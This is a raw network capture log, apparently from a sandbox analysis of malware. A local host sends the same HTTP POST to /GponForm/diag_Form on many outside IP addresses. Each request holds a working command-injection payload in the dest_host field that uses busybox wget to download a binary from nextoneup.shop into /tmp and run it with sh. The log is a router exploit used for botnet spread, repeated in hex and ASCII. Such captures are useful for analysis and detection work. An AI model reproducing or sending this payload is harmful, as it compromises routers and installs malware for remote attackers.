Apr 14, 2024 03:59:50.748044968 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
330	192.168.2.13	51994	42.96.105.203	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748063087 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
331	192.168.2.13	36410	212.194.234.73	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748068094 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
332	192.168.2.13	47082	118.205.233.164	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748112917 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
333	192.168.2.13	57792	5.245.186.157	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748155117 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
334	192.168.2.13	49012	210.176.226.142	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748183966 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
335	192.168.2.13	56376	42.17.44.104	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748226881 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
336	192.168.2.13	39540	2.5.123.104	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748238087 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
337	192.168.2.13	50938	202.74.66.240	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748284101 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
338	192.168.2.13	33884	2.103.47.34	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748305082 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
339	192.168.2.13	35368	42.147.189.117	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748328924 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
340	192.168.2.13	55096	109.15.169.63	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748369932 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
341	192.168.2.13	44600	148.28.109.110	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748415947 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
342	192.168.2.13	47392	178.245.44.255	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748428106 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
343	192.168.2.13	55778	117.20.236.72	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748449087 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
344	192.168.2.13	34718	42.234.34.139	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748471975 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
345	192.168.2.13	51460	79.26.27.186	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748495102 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
346	192.168.2.13	40560	117.93.15.249	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748517036 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
347	192.168.2.13	40394	210.9.197.185	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748558044 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
348	192.168.2.13	50422	148.128.144.254	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748589993 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
349	192.168.2.13	41500	79.223.247.81	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748608112 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
350	192.168.2.13	38894	2.113.89.169	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748636007 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
351	192.168.2.13	39586	109.132.130.161	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748655081 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
352	192.168.2.13	34548	5.31.139.122	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748670101 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
353	192.168.2.13	53574	5.169.6.185	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748707056 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
354	192.168.2.13	47100	148.155.9.222	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.748754025 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
